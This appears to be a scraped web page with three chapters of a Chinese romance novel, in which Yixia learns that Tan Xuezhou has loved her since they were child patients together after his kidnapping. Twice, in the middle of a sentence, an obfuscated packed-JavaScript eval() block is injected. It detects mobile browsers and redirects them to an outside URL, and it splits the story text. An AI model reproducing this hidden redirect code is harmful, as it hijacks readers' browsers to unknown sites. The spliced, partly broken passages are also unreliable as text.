送花的是他。 可是,怎么会是他? 她真的,真的,一丁点都记不清自己和他高中有什么交集。 甚至是那种,会让他喜欢上的交集。 让他暗恋。 怎么可能呢? 她的高中时光……有什么值得人喜欢的。 灰暗潮湿阴郁,像一团垃圾一样。 他怎么会注意到她? 她在本部,他在国际部,她在高一,他在高三,根本没有任何交集。 而且,他说了,是和那个女孩……重逢。 高中之前,她有遇见过谈雪昼吗?怎么称得上是重逢呢? 宜夏怎么也不敢相信自己的视角。 她坐在出租车后排,思前想后,生理上的恐惧让她战栗:“师傅,你在前面就把我放下吧,我……我修改终点,我不去了。” 师傅抱怨她这单路程太短赚不到钱,在前面路口把她放了下去。 雨下得很大,宜夏冲进路边一家7-11,胡乱跟人家买了一碗关东煮,坐在靠窗的位置,把整个人埋在手臂里,突然开始无声掉眼泪。 她也不想哭的。 可是她现在真的,太乱了。 他喜欢她,甚至是从高中起。 他哪怕去美国上学,也会不辞辛苦,跨越大洲与大洋,飞回国看她,看她在粥店打工收银。 他在她高考的时候,偷偷为她送考。穿在笨拙的企鹅玩偶外套里,送给她一束橙玫瑰加向日葵。 甚至,她去做编剧,拿奖了,也是他送给她第一束花。 对了,还有那些信。 冬宜密雪。 她现在能够确定了,冬宜密雪,应该不是巧合,是他知道那些故事的作者是她。那时,他也已经出国读书了,她的信是怎么寄到他手上的?她明明寄的是一个国内的地址。 甚至是Martha…… 难道是,是因为她在心里提到她失眠,他才会做哪些哄睡的内容吗? 宜夏越想,脑子越空白,什么都理不清了。 是感动。同时也是难过。 他喜欢她! 他暗恋她,很多很多年,从高中开始。 那他为什么,为什么不找她,为什么不出现在她面前?! 为什么要错过这么多年? 他为什么要躲在玩偶里,在《江流冬日》的后台,他为什么又不亲自拿到那束花,亲自出现送给她?是怕唐突吗?是怕吓到她吗? 那就让她白白,跟她错过了那么多年。 宜夏慢慢地收了眼泪,手机适时响了起来。 她接起来,那边声音明朗干净:“怎么还不到?到哪儿了?” 宜夏吸了下鼻子,下定决心,哑声说:“你来接我,好不好?” “怎么了宜夏?”他敏感地察觉到了她声音不对,“你……怎么哭了?谁惹你了?” “你。”宜夏哽咽,沉默片刻,声音发抖,“我高考之后,是你给我送了一束花,是你送的,橙玫瑰。还有舒润拿错的那束花,也是你定的。是不是?” 那边很明显的一怔。 - 宜夏坐在7-11里。 外面的雨越下越大,路边的霓虹灯被雨水模糊虚化,倒映在地上成为一道粼粼的光影。道旁很高大的梧桐树树叶招展,雨声打在叶片上簌簌作响,稀里哗啦响成一片。 宜夏看着看着走了神,神色恍惚。 便利店门口突然传来收伞的声音,雨水被抖落在门口的垫子上,有人大步朝宜夏的方向走过来。 宜夏却没转头,表情依然空白。 耳边响起熟悉懒散的声音:“看什么呢?” 宜夏突然回神,转过脸看见他,终于把自己艰难地从那些低落遗憾的情绪中拔了出来。 他过来得急,身上沾了潮湿的水汽,衣袖肩膀甚至打湿了一块,颜色明显比周围深一圈。 宜夏站起来,主动牵住他的手,哑着声音:“走吧。” 谈雪昼见她没想多说,也就没多问,重新撑开伞。 两个人一起走进雨幕里,雨点砰砰地打在伞面上,仿佛把整个世界都隔开,只剩下圈在伞下的两个人。 宜夏能闻到他身上很淡的气息,和大雨打湿树叶激发出的冷香同一种气味,很好闻,一直以来都很让她安心。 宜夏不由自主地偏过头看他,另一侧商店的灯光折过来,在他的下巴上勾出亮而明显的轮廓线。 上了车,在副驾驶坐好。 谈雪昼要启动的时候,宜夏突然按住了他一只手。 她有一个艰难吞咽的动作,看着他,很久之后,才干涩出声:“所以,那个花,就是你送的,对不对?” “一直都是你。” “……不对。一直都是我。” 谈雪昼漆黑的眼眸情绪平静,也许是察觉到她情绪不太对,声音放得比平时柔和很多:“为什么,突然问起这些?” 宜夏固执地看着他,眼睛里已经蓄满了眼泪:“是你吗?” “……”谈雪昼沉默很久,“是我。” “所以你说的,暗恋的那个人,也是我。你高中的时候,喜欢的人是我。你飞回来送人高考,那个人是我。后来你不停从美国飞回来看的那个人,也是我。” 谈雪昼这次承认得很快:“是。” “为什么?” 谈雪昼看着她,本来,已经过去了,他觉得没有必要再提。 但见她无声地掉着眼泪,心里一下没办法了,妥协道:“你别掉眼泪,你哭什么?” 抽出纸替她擦掉泪珠。 “为什么是我,我那时候根本不认识你。”宜夏胡乱把不争气的泪水全都擦掉,努力保持自己的逻辑和条理,“我根本,就不认识你。而且,你比我高两级,你还在国际部,我不记得我们有什么交集。” 谈雪昼看着她琥珀色的眼珠,里面泪水盈满,仿佛一泓浅浅的清亮湖水,他心很柔软,把她从副驾驶抱出来,坐在自己身上。 宜夏立刻全面崩溃,溃不成军,紧紧抱住他,把脸埋在他的颈窝,眼泪一串一串地往下掉。 那时候的我,有什么值得你喜欢呀。 既然喜欢我。 为什么只在背后看我,从来不出现。 你知道吗。 我做梦都会梦见,高中的时候,如果我遇见的是你,而不是其他人。 不是于璟。 我会成为一个,更好的,更勇敢的,更善良的人。 和你一样。 为什么喜欢我,却不用你的光照亮我。 谈雪昼。 我讨厌你了。 - 二十分钟前,谈雪昼问她:“那你要听我讲,我的视角里的,整个故事吗?” 捷豹破开积水,驶上了一条熟悉的路。 车在江流最大的综合三甲医院后门附近停下。 外面依然在下雨,谈雪昼撑开伞下车,绕到副驾驶一侧,替宜夏拉开车门。 宜夏有点不解。情绪也平复了很多,下车后,迟疑问:“你生病了吗?” “不是。” 两个人从医院后门进去。 后门一条宽阔的马路通往住院部,住院部附近一侧有几栋小楼,外面挂着标牌:江流第一医院精神研究中心。 研究中心自成一国,铁质院墙围了一圈,里面灯火通明,不少穿白大褂的医生或者科研人员在里面忙。 宜夏知道这个地方,她抑郁那一段时间,来这里看过病,开药。 谈雪昼撑着伞,侧过头跟她说:“这家研究中心,是我家捐的。” 宜夏一怔。 据她所知,第一医院的精神科历史很悠久,是全省除开精神专科医院之外,最好的精神科室。研究中心也已经开办了超过二十年。 谈雪昼拉着她,从研究中心的正门进去。与不少白大褂擦肩而过,穿过一条走廊,从拐角的楼梯,上了二楼。 敲开了一间办公室的门。 一个四十多岁的短头发女医生坐在办公桌后,正低头看厚厚的英文专著。见他们进来,表情有些惊愕,片刻后温和地笑了:“小雪,你怎么来了?”又问,“这是?” 谈雪昼拉着宜夏的手:“顾老师,这是我女朋友,宜夏。” 宜夏全程是懵的,大睁着眼睛。 顾教授起身,收拾了下小办公桌前那把堆满书籍杂物的椅子,说:“坐。怎么想到找我来了?最近没生病吧?” “没。”谈雪昼说,“我已经好很久了。” 顾教授转身拿了两只纸杯,为他们倒水。 宜夏接过热水,依然是懵懵的,抬脸看着顾教授。顾教授认真端详她的脸孔,先是皱着眉,随后,眉眼舒展开,好像认出了她:“是你啊。” 宜夏不解,看看谈雪昼。 顾教授也看向谈雪昼,征询地问:“是她吧?” 谈雪昼点头。 宜夏一直没听懂他们在说什么,也没好意思问,表情却肉眼可见许多迷茫。 谈雪昼说:“她不记得小时候的事。所以,我带她回来看看。” 顾教授笑起来:“这样。”她转身,从书柜的最深处抽出一本书,递给宜夏,“这本书你带回去看吧。” 宜夏全程不解,懵懵地低头,看见书名,是一串英文,勉强能认出来是用英文写的病例。翻开看,却不是那种冷冰冰的病历,而是类似于故事一样娓娓道来的记叙。 这……? 跟她有什么关系? 跟谈雪昼又有什么关系? 跟她,忘记的事情,又有什么关系? 她能忘记什么? 从研究中心出去,坐回车上,宜夏翻开了那本书。 还没看扉页的内容,电光石火之间,她突然想起了什么。 她其实记得的,记得她小时候,因为脑震荡,在第一医院的住院部住过很长时间的院,在那里遇见了一个玩伴。 但是脑震荡导致的具体细节模糊,她对那一整段时光都只有一个轮廓性的印象。 谈雪昼没有启动车。 单手搭在方向盘上,轻声说:“你先看完这本书的第一个故事,我再跟你讲,所有你想知道的东西。” 宜夏低下头,一目十行开始阅读。 读到一半,没忍住,抬手擦掉滚落到下巴的泪水。 - 谈雪昼有一个特异功能,他的记忆力好到过目不忘,哪怕童年三岁时在瑞士森林里偶然遇见的一只小鹿,他都能记起它鹿角的形状。 他七岁的时候,遇见了一只从小岛上跑出来的灵动的小鹿。 他出生在美国,三岁之前在江流,三岁之后,去了英国,辗转瑞士,洛杉矶,香港。他的护照上是一个名字,身份证上是另一个名字,甚至他的病历上,都只有一个英文名。 很小的时候,他就清楚地知道他的家庭和正常的家庭不一样,过于优越,又过于破碎。 他的外公谈默生,和发妻结婚之后生下了他的大舅舅。后来发妻去世,外公认识了他的外婆,当时好莱坞当红的女明星凯瑟琳·科尔顿,结婚,有了他妈妈。又离婚,娶了第三任妻子,生下了他的小舅舅。 香港小报称这三任妻子为大房、二房、三房,编造了无数香艳的故事,其中不乏豪门与星光,风月轶事。 谈雪昼的妈妈谈之尧是在外界无数关注之中成长起来的。她前二十年待在美国,是好莱坞众多男星趋之若鹜、试图与之春风一度的千金名媛。 母亲去世之后,她回到了香港亲生父亲的身边。 大小姐骄傲了一辈子,在香港,却与大陆来闯荡港影市场的穷小子全光毅金风玉露一相逢,折在了他身上,追着他满世界的跑,结婚,生子。 最终,没能阻止他的出轨。 而他出轨的原因是,“之尧,你太骄傲了,你太任性了,你压得我喘不过气来。” 谈雪昼三岁的时候,谈之尧与全光毅离婚了。 之后只身回了美国。 她突然从“千金大小姐倒追穷小子”的经典言情小说剧本里清醒了过来,恢复了自己名媛大小姐的傲慢与自尊。 谈雪昼是她过去那段不堪回首的历史遗物,她把他视作耻辱,丢在了香港,从此,几乎只有逢年过节兴致来了偶尔垂问一两声。 很多人会觉得作为母亲一定会有对孩子天生的母爱。 真的不一定,尤其是,特别有钱,什么都拥有的时候。不像普通人,需要亲力亲为地照顾孩子吃饭喝奶、看着孩子长大,大小姐只需要偶尔逗弄一下孩子,大多数时候,自有其他人无微不至地殷勤照顾。 孩子的濡慕对千金大小姐来说不值一提。 谈雪昼在外公身边长大。 他的外公谈默生掌管海晏实业。海晏在港股总共有三家公司上市,合在一起市值最高点时超过万亿港币。 所以谈默生很忙,没有空闲的时间照顾一个三岁的孩子,谈雪昼被交给了很多很多的佣人。 真的很多,很多时候他一个人待在寂静的庄园里,其余三四百人都是照顾他的人。 只是没有一个亲人。 他寂寞地长大了。 谈默生很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233405|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长一段时间待在瑞士,主要做欧洲区的生意。谈雪昼被他带在身边,跟着住在瑞士的庄园里。大多数时候,他的家都太大,太安静了。谈默生喜欢安静,家里所有地方都铺满吸音的地毯,走在上面很轻很柔软,令人产生晕眩的恍惚感。 他在瑞士长到五岁,海晏的生意重点转移到了北美区,谈默生去纽约坐镇,谈雪昼也被带去,这时候,谈之尧终于对他产生了兴趣,也来了扮演母亲的兴致,偶尔把他带去LA,享受一段亲子时光。 他没有上学,家里为他请了家庭教师。 于是他没有朋友,一直都是一个人,很寂寞地生长起来的。 虽然没有朋友,外公也很少能抽出时间关心他,但他并不缺任何物质上的东西。 他拥有的太多了,多到寂寞,拥有的太珍贵了,在所有最珍贵的东西里做选择,也会很寂寞。 家里对他的关心一直很少。 直到那一次。 他被绑架了。 是家里佣人里应外合串通绑架的,他被转运到长滩码头的一个集装箱里,手脚都被绑了起来,也不能说话,不能动弹。 后来他被打了针,昏迷再醒来之后,再醒来,他不知道自己到了哪里。 整个人被关在一个非常非常狭窄的小箱子里,那个小箱子几乎只能容纳他一个人手脚蜷缩着缩在里面。箱子顶上开了一个小孔呼吸,只有唯一那一束光亮。 天黑时,浓稠的黑暗几乎要逼得人发疯,黑暗中他感觉有老鼠在咬他的手指。为了转移注意力,他开始在脑子里背诗,前几天刚学的,Donotgogentleintothatgoodnight. Donotgogentleintothatgoodnight Oldageshouldburnandraveatcloseofday Rage,rageagainstthedyingofthelight …… 他才六岁。 看守他的绑匪并不觉得他是什么有威胁的存在,看管不是很严格。他借着很小的天窗光线观察四周,尝试跟绑匪谈判,让他们把他放出来。但是他们不仅不同意,甚至,他要上厕所他们也不允许,让他在小箱子里解决。 最开始,他维持着一些镇定。 但后来,真的要在小箱子里排泄,他有点崩溃了。吃睡上厕所都要在小箱子里,太脏太恶心了。 没过多久,绑匪们为了能够要到更多的钱,开始伤害他,弄伤他的手,胳膊和肩膀,然后拍照片发给谈默生。 具体经过他记不太清楚了,大脑会自动屏蔽那段记忆,因为实在是很痛,很难受的一段记忆。 他只记得他太痛了,一直呻吟出声,一个绑匪为了让他闭嘴,用胶布贴着他的嘴巴,又威胁如果再出声就要割掉他的舌头。 一周之后他获救,但是患了很严重的黑暗恐惧症,而且也变得不会说话,不能出声,不允许任何人的接近,所有人都会让他感到惊恐不安,从而崩溃。 全美最好的心理医生、精神科医生,都没有办法治愈他。 因为这场意外,谈默生意识到了不对,对他的态度骤然大变,近乎无微不至地照顾他。 然而没用。 他的情况逐步恶化,不再能对外界的刺激做出反应。 原来还会为黑暗、为陌生人的接近而惊恐,恶化到后面,他出现了严重的衰退和木僵症状,变成了一只安静的木偶,可以一整天只是坐在一个地方,眼珠一动不动。 所有人都束手无策,直到小舅舅谈之华来美国看他。 考虑换一个环境,小舅舅提议让他回国,回到江流。谈家于是给江流第一医院捐了一个精神研究中心,这家研究中心,在最开始只有一个课题,那就是:治愈谈雪昼。 然而。 和美国的医生面临的困境一样,江流的精神科医生,也对他愈发严重的封闭和衰退症状毫无应对办法。 顾教授就是他的主治医生。 那时候,顾教授才三十岁出头,刚从医学院毕业,是因为性格温柔耐心,才被选中负责照顾他。 她一直试图跟他建立沟通通道。 但尝试不得法。 不过,顾教授的坚持不懈,还是稍稍打开了他一点心门,他逐渐愿意离开研究中心那栋小楼,坐在小楼外面的草坪上晒晒太阳,读读绘本。 愿意对外界非常明确的指令和询问做出反应,不再整天一动不动。 只是还是不愿意离开研究中心的小院子,去到稍微远一点的陌生地方。 小院子外面,就是第一医院的住院部大楼,大楼下面的小花园里,常年有不少患者散步锻炼身体。 全是陌生人。 谈雪昼恐惧人群,只有在楼下人特别少的时候,才愿意去院子里。 晒太阳的时候,他会捧着顾教授送他的绘本,安静地阅读。 他不愿意出声说话,衰退造成了封闭和失语的症状。 直到某一天。 一个女孩子,突然闯进了他安静的世界里。 那天下午,他埋着头,眼珠一错也不错地看着绘本上的小鹿。 那个女孩子从小院外面跑进来,一阵风似的。 由于是个小姑娘,照顾他的医生,以及隐藏在暗处的保镖,都没有出现。 他埋着头发呆。 耳边突然传来一声女孩子的笑声。 那个小姑娘在他对面坐下了,捧着脸,笑眯眯问:“哥哥,我可以看看你的书吗?” 他没有抬头。 他很抗拒跟陌生人接触,没有对那个小姑娘的主动接触有任何反应。 小姑娘伸手在他眼前晃了晃:“你睡着啦?怎么不理我?” 他盯着绘本。 上面一只小鹿,轻盈地跑进了浓绿的春天里。 捧在手心硬挺的铜版纸绘本被人小心翼翼地扯了扯。 他终于抬头,看见了小姑娘的模样。 她穿着碎花的嫩绿色小裙子,扎了个花苞丸子头,头上绑了一个蜻蜓形状的发卡,几缕碎发落到脸颊边。她有点瘦,手臂和肩膀都很纤细,但脸却是圆圆的,眼睛也很圆,又黑又亮,湿漉漉的,灵动闪烁,像一只从森林里跑出来的小鹿。 像绘本里寻找春天的小鹿。 突然之间。 世界明亮起来了。 就好像有人按亮了他全世界的灯光开关,万物骤然明朗。 他屏住呼吸,听见风扑击草穗时的轻响,细微的震动。 这是他第一次见到宜夏。 心脏不受控制地,急促地跳了起来。 84. 想把你比作春日 他不知道,他的房间里有很多摄像头,方便医生们照顾、分析他的状态。 见到他缩在被子里偷偷哭,几个医生又是好笑,又是难受。 为他病情终于出现的好转——这段时间,他已经愿意对外界做出反应了,甚至他能够正常地跟人对话,只不过暂时只能说法语。现在,也有了正常的情绪,会哭了。 那个小姑娘,对他的影响非常大。 几个医生商量过后,决定去跟小姑娘的亲人交涉,希望能让她到中心陪伴他、治疗他。 他们调出来了她的病历,重度脑震荡,严重后遗症,需要住院治疗,家境拮据,亲人只有一个外婆。 于是提出了条件,谈家可以为她出所有医药费,让所有专家来诊治她,作为交换,她需要陪伴谈雪昼一段时间,搬到中心来进行治疗。 她的主治医生跟外婆说完了整个情况,外婆问了她的意见,她很乖地答应了。 她一直以为那个漂亮的哥哥只是懒得理她,没想到是生了病。她原来错怪他了,很抱歉。 因为谈家负担她的医药费、住院费,中心也有专门的医生护士照顾她,外婆不用再每天来医院陪她。 只在起初的几天看过她,没遇见什么问题之后,就去附近找了一份家政的工作。 她也住进了中心,住到了他隔壁的房间,成为了他的病友。 和玩伴。 她每天教他背古诗。 他特别抗拒,她就生气,然后冷战。 他又不可能主动跟她服软,到最后每次都是她跟没事人一样,又笑嘻嘻地凑过去逗他玩。 她不记仇,因为她真的非常容易忘记事情。这是脑震荡造成的后遗症。 他的病情逐步好转,甚至在她的影响下,开始慢吞吞地、结结巴巴地讲中文了。 很奇迹。 某一次。 她一直诱惑他离开小院子,去住院部大楼下面的小花园里散步挖蚯蚓。他每次都很好地抵抗住了诱惑,但却在她“你如果不出去的话我就不理你了”的轰炸下,迟疑着答应了她。 出门的时候,悄悄跟着很多保镖。 然而意外还是发生了。 因为是陌生的地方,保镖没有提前踩点。他们去玩的那块地方,竟然藏着一个喝醉酒的酒鬼,突然苏醒,吓了他们一大跳。 谈雪昼再次被吓得浑身木僵,四肢冰凉,脸色青白。 宜夏扑过去抱住他:“哥哥!你没事吧!” 随后,谈雪昼被带回了研究中心做安抚。 宜夏跟着回去,耷拉着脑袋,小声小声地抽泣了一个下午,都没人理她。所有人都在忙着照顾谈雪昼——是的,她也是照顾他的那一个工具,她只是他的附属物,没有人注意她关心她是正常的。 只有他。 这一次他很快从木僵的状态中清醒了过来,第一件事就是跑出去找她。 她蹲在中心小楼的墙角,抱着膝盖在小声小声地哭。他在她面前蹲下,小心翼翼地碰了碰她软软的脸颊。 和想象中一样耶。 好软。 好可爱。 他认真看着她,尝试说:“别、哭。” 她泪眼朦胧中抬起头来,扑过去抱住他:“你没事太好了!呜呜呜,我以为你要死掉,要被医生抓走了呜呜呜……” 被一个柔软温暖的身体抱住。 谈雪昼真的僵硬了,很久之后,他才试探着抬起手,回抱住她。 两个小孩蹲在墙角,面对面抱着,抱了好久。 当天晚上,谈雪昼宣布。 他,要,和,宜夏,搬到同一个房间住。 医护人员起初都不同意,因为说不定会遇见危险。但最后,还是没能拗过谈雪昼的坚持。 他们负隅顽抗,企图让宜夏自己拒绝这项男女授受不亲的提议。 只不过,一个七岁,一个五岁,都是小孩子。 宜夏根本没有拒绝的理由,她很想跟人一起睡觉,这样可以晚上讲话,不用一个人自言自语了。 于是,两个人被安排住到了一起。 每天晚上,宜夏都有说不完的话。 她很喜欢炫耀自己,好为人师,喜欢给他教她会的那几首简单古诗词。 有天晚上,她突然意识到了自己的水平不行,闷闷不乐说:“我们明天不能只顾着玩。我要开始预习功课了。我下学期都要上小学了,很重要的。哥哥你呢?” “我……”谈雪昼迟疑。 他一直没有上学,在美国的时候是家庭教师,回国了,依然是,因为他不愿意出门,不愿意去上学。 他算了下自己的年龄,很好地换算:“二年级。” “没看出来。” 谈雪昼:“?” 宜夏说:“你连草长莺飞二月天都不会背。” 谈雪昼反驳:“我已经会了。我还会别的古诗了。” “那你背啊!” 谈雪昼很费劲地背,迟日江山丽,春风花草香。 宜夏捧着脸:“哇。你好厉害。” 谈雪昼矜持地抿了下唇,漫不经心说:“我还会背别的。”他补充,“别的语言。” “哇!” 他很流利地背纪伯伦的诗,“爱的季节·春”。 宜夏其实听不懂,但不妨碍她格外崇拜。 谈雪昼淡淡说:“我会讲英语和法语,不是没有文化的外国人。” “哇!” 在之后,晚上的时候就互相教学。 他给她教一点英文,她就教他背古诗。 她积累的古诗也不多,存货搜肠刮肚全都炫耀完之后,她开始咬着笔头自己写小故事。 “冬天的早上,我起来的时候,发现外面在下雪,雪花堆满了窗沿。外婆叫醒我,告诉我下雪了,让我出门去看。我看到大朵的雪花把云朵挤炸了,从里面挤出来。外婆一伸手,就把云朵摘了下来,揉成一团,塞进蛋卷里,再在上面抹了一层奶油,撒上瓜子仁。这样,就做成了一个冰淇淋。我咬了一口,哇,好甜呀。” “小雪哥哥问我,装满雪花的云朵被我吃掉了,天空空了一块,怎么办呢?” “我告诉他,天空空掉了,春天的风就会吹进来,把森林吹绿,这样,冬眠的小熊就会苏醒过来了。” “春天到了。” 她这边写故事。 谈雪昼抱着画板在旁边为她的小故事配图。 两个人合作写了很多小故事。 那之后,宜夏的脑震荡后续检查了好几次,后遗症依然严重,她总是不停地忘记事情,谈雪昼耐心地提醒她想起来。 后面一段时间,已经不再是她照顾他,变成了他照顾她。 也因此,他的情况好转得非常快。 谈默生从香港过来看他时,他已经接近康复了。 谈默生走后,又发生了一次意外。 研究中心的电源跟医院的总电源没有接到一起。某次全市大停电,医院有备用电源,研究中心却跟着停电了。那是晚上,谈雪昼本来必须要有灯才能睡觉,却遇上了停电。惊恐之中,他抱紧了睡在旁边的宜夏。 宜夏迷迷糊糊醒来,稀里糊涂,下意识抱着他安慰哄他。 身体贴着身体,脸颊挨着脸颊,她好像感觉到了他的眼泪。 幸好停电时间不长。在医生赶到病房来之前,就已经来电。然而医生们还是把他带了出去,又做了一阵心理安抚。 不过这次意外,并没有让谈雪昼的心理状况恶化太多,情况依然是在稳定好转。 某周周末,宜夏的外婆来中心看她。 她没告诉谈雪昼,就拉着外婆离开了中心,去到医院外面的一家杂货店里,买了两只小夜灯。很可爱的,都是鹿角形状,一只是淡绿色的,一只是浅金色的,都是玻璃壳。 她捧着小夜灯回到中心的时候,谈雪昼找不到她,差点让人调监控出来。 她献宝一样把那两只便宜的小夜灯递给他看,让他选一只做礼物,以后晚上都可以开灯,就不用害怕了。 两只夜灯都能用电池,也可以充电。谈雪昼挑了绿色的那只,宜夏自己留下了金色的那只。 到后面,谈雪昼完全可以离开小院子,去到住院部楼下的花园。 他们在那里捡到了一只被人丢下的小土猫,长得很丑,黑白棕三种颜色凌乱交错,而且瘦巴巴的。 她很可怜那只小猫,坚持把它带回中心养。医生告诉他们,小猫是很普通的玳瑁猫,是本土土猫的一种,因为长得不漂亮,经常被遗弃,但其实,招财猫也是这种品种的。 他们一起给它取了名字,就叫瑁瑁。 瑁瑁被原主人遗弃,他们养了一个月,养得很胖。瑁瑁性格非常矜持,总是高傲地蹲在桌上,尽职尽责地扮演招财猫,很少理人。 很快,他的情况彻底好转,已经可以考虑出院调养。 而宜夏的脑震荡,强烈的后遗症属于无法治愈的范畴,其他的症状也已经调养好了,也不需要再住院。 都要出院了。 本来。 谈雪昼计划是,出院之后,他带她回他的家。 带着猫一起。 但是她不是他的玩具,她是个人,就会出现他脱离他计划的事情。 ——她先出院了。 她病好了,外婆找到了一份江流隔壁市的洗衣店工作,要把她带走。 明明前一天晚上,谈雪昼已经想得很好,要跟小舅舅说把她一起带回家的。 结果第二天,小舅舅来接他出去,回家吃一顿饭,回到研究中心时,她已经离开了,只留下了那盏鹿角小夜灯。 谈雪昼想要去找她。 很容易能找到她的信息,她的病历,她的名字。 但是,她到底去了哪里呢? 她和她的外婆,在江流没有任何亲人朋友,现在又离开了江流,在人群中寻找一个身份证都没有的小姑娘,无异于大海捞针。 他那时才七岁,他没有那么大的能量找到想找的人。 而且,所有人都以为那只是一个玩伴,一个短暂时期内的病友,仅此而已,走了就走了。没有人知道她对他意味着什么。 她走那天。 天气很好,天光明亮,窗外绿意招摇。然而他的世界却好像被人按下了灯的开关,那么缓慢沉重而坚决地暗了下来。一睁眼,眼前似乎被蒙上了一层灰色的纱,行走在其中,什么方向也看不清。 属于他的春天突然消失了。 他茫然地站在原地,就好像站在黄昏时没有开灯的屋子里,光线一米一米地消失,他像溺水一般浸在了黑暗里。 但他还是出院了。 病后来反复了一段时间,最终还是漫长艰难地治愈了。 除了留下那个怕黑的弱点之外。 后来有一天。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14244486|141728||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那天舅舅回来,他在房子里很迟疑地绕着圈,等到舅舅注意到他,他才犹豫问:“舅舅,我可以,去上学吗?” “我们不是在家上学吗?” 谈雪昼鼓起勇气说:“我想去学校上学。”补充,“有其他人的学校。” 舅舅很吃惊地抱住他,蹲在他面前摸摸他脑袋:“你想出门了?” 谈雪昼低下头盯着地板上的花纹,很久,抬起头,努力微笑起来:“嗯。” 舅舅别过脸,揉了揉泛红的眼圈。 因为,如果去学校上学的话,就可以在学校见到她了。 开学之后,他按照同等学力读二年级。 他第一次去上学,书包里背了他最喜欢的那个“遇见春天”的绘本。他很珍惜他们一起写的故事画的画,装订起来了,也背在书包里。 想到开学了他就能见到她了,到时候要问她要电话号码,还要把绘本送给她。 开学之后。 天崩地裂。 他第一次知道,原来世界上竟然有很多很多学校。 而她,不在他上的学校里。 他完全不知道她去了哪里。 她就好像一只春天的时候,闯进他浓密寂静森林里的小鹿,又轻盈活泼地地跑走了。 也带走了一个春天。 他彻底把她弄丢了。 - 谈雪昼后来再也没见过宜夏。 读完了小学,初中,他渐渐地从那场绑架案的阴影里走了出来。有了朋友,只是人生最初也最珍贵的好朋友,他弄丢了。 时间过得很快。 小舅舅结婚了,有了孩子,后来,小舅舅去世了。 谈雪昼成了谈家唯一的继承人。 他也上高中了。 谈默生想要他回美国上学。 谈雪昼拒绝了,坚持要留在江流。作为妥协,他的大学已经被安排好了,必须要回美国,接受完整的继承人教育,以待未来接手家业。 高一高二,时间过得非常快。 那是一段异常颓废堕落的时光。除开必须要上的家族课程之外,所有的时间他都消磨在赛车场、滑雪场、网球场和马场,意外在网上认识了季一鸣,开始捣鼓定格动画。最开始不知道什么题材,拍了点跟瑁瑁相关的内容,再后来,开始拍童话故事。 高二的暑假,跳伞意外骨折,谈雪昼一整个暑假都待在瑞士养伤,到秋季学期开学的时候才回国。 回国就是高三。 江流高中国际部几乎没有课业压力,但到了高三,同学们也都要各奔前程,忙碌准备标准化考试和留学材料。 他没有申请压力,就算他SAT或者其他考试考得再不好,申请材料写得再敷衍,他也能进任何他想去的学校。 腿伤没好全,狐朋狗友们打球不叫他,飙车也不行,只能坐着轮椅或者杵着拐杖散散步,最多的时候,竟然是旁听海晏的董事局会议。 这么消磨了一整个学期,高三下学期,开学了一个月之后,学校叫他帮忙拍个几分钟的宣传片,招生用。 他回学校一趟,一天时间就拍完了需要的材料。 路过高一年级级部,他看见了光荣榜上有个独特的名字:宜夏。 光荣榜上贴着照片,少女扎着花苞丸子头,冲着镜头笑起来卧蚕弯弯,眼睛圆亮,像夏季森林里的小鹿。本部那巨丑的校服穿在她身上宽宽大大,肩膀有点落下去,更显得身形纤瘦秀气。 她是高一年级新学期第一次月考的年级前十。 她完全没有长变,跟八岁的时候有同一张脸孔,只是不再是童年的模样,已经初具少女的清澈纯净,纤细清丽。 谈雪昼那一瞬间几乎感觉到世界在眼前缓慢亮了起来,就好像有谁再次按下了世界的灯光开关。 砰。 他屏住呼吸,仔细看了她的班号。 高一3班。 他停在原地,径直转进到思考要不要直接去找她。 她会不会把他忘记了? 学校的下课铃响了,原本安静的楼道霎时喧哗起来。 他转身要走,忽然听见背后有一道男声大声叫前面女孩的名字:“宜夏,等我一下!” 他转过头一看。 一个没穿校服个子很高的男生从楼梯上下来,追上低着头走在前面的女生。女生怀里抱着一本书,是《飘》,封面墨蓝色,烫金的精装版。 女生回过头没什么表情地跟男生说了句什么,男生表情好像被噎了一下。 谈雪昼认出来,那个男生是于璟。他家跟于璟他们家算是熟悉,算是在一个圈层里,不过他在最顶层,于璟他们家只是在边缘打转罢了。 女生是宜夏。 他们一前一后从他面前走过,几乎是面前擦肩而过,谈雪昼张了张口,想叫住宜夏,话又咽了回去。 只看见于璟追在宜夏身后问:“我请你喝奶茶吧。” 宜夏冷冰冰:“不用。” 她突然回头。 谈雪昼站在原地,对上她的眼神。猝然一阵强烈的生理反应,从手指尖一直麻到手臂肩膀,那种麻痒的感觉延伸到下巴,他眨了下眼,呼吸一瞬间放得很轻。 她却只是招了招手。 ——原来是冲他身后的老师打招呼。 谈雪昼怔在原地。 ——她好像,没看到他。 她不记得他了。 85. 想把你比作春日 后几天宣传片补拍空镜头,他带了无人机航拍。 不知道被谁干扰了,无人机拍到一半突然摔了下来,落到了操场上。有个班正在上体育课,无人机被班上一个女生捡到送去了办公室。 谈雪昼去办公室里取,和那个女生直接撞上。 是宜夏。 谈雪昼本来懒懒散散站着跟老师说话,一转头见竟然是她,下意识站直,目光不受控制地完全锁在了她身上。 她头发上夹了个蜻蜓发卡,蜻蜓翅膀是透明的,隐隐泛着缤纷的彩光。 谈雪昼在心里祈祷,她这次一定会记得他,认出他。 可是她只是很礼貌,轻声跟老师说:“没什么事的话,我先回教室了。” 